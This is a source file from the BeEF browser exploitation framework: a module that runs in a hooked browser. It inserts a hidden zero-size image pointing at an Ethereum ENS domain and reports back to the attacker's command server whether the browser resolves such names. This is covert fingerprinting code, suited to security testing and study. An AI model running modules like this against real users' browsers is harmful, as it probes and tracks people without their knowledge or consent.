Path: blob/master/modules/network/detect_ethereum_ens/command.js
1155 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7if (document.getElementById('ethereum_ens_img_<%= @command_id %>')) {8return "Img already created";9}1011var img = new Image();12img.setAttribute("style", "visibility:hidden");13img.setAttribute("width", "0");14img.setAttribute("height", "0");15img.src = '<%= @ethereum_ens_resource %>';16img.id = 'ethereum_ens_img_<%= @command_id %>';17img.setAttribute("attr", "start");18img.onerror = function() {19this.setAttribute("attr", "error");20};21img.onload = function() {22this.setAttribute("attr", "load");23};2425document.body.appendChild(img);2627setTimeout(function() {28var img = document.getElementById('ethereum_ens_img_<%= @command_id %>');29if (img.getAttribute("attr") == "error") {30beef.debug('[Detect Ethereum ENS] Browser is not resolving Ethereum ENS domains.');31beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not resolving Ethereum ENS domains.');32} else if (img.getAttribute("attr") == "load") {33beef.debug('[Detect Ethereum ENS] Browser is resolving Ethereum ENS domains.');34beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is resolving Ethereum ENS domains.');35} else if (img.getAttribute("attr") == "start") {36beef.debug('[Detect Ethereum ENS] Timed out. Cannot determine if browser is resolving Ethereum ENS domains.');37beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timed out. Cannot determine if browser is resolving Ethereum ENS domains.');38};39document.body.removeChild(img);40}, <%= @timeout %>);4142});434445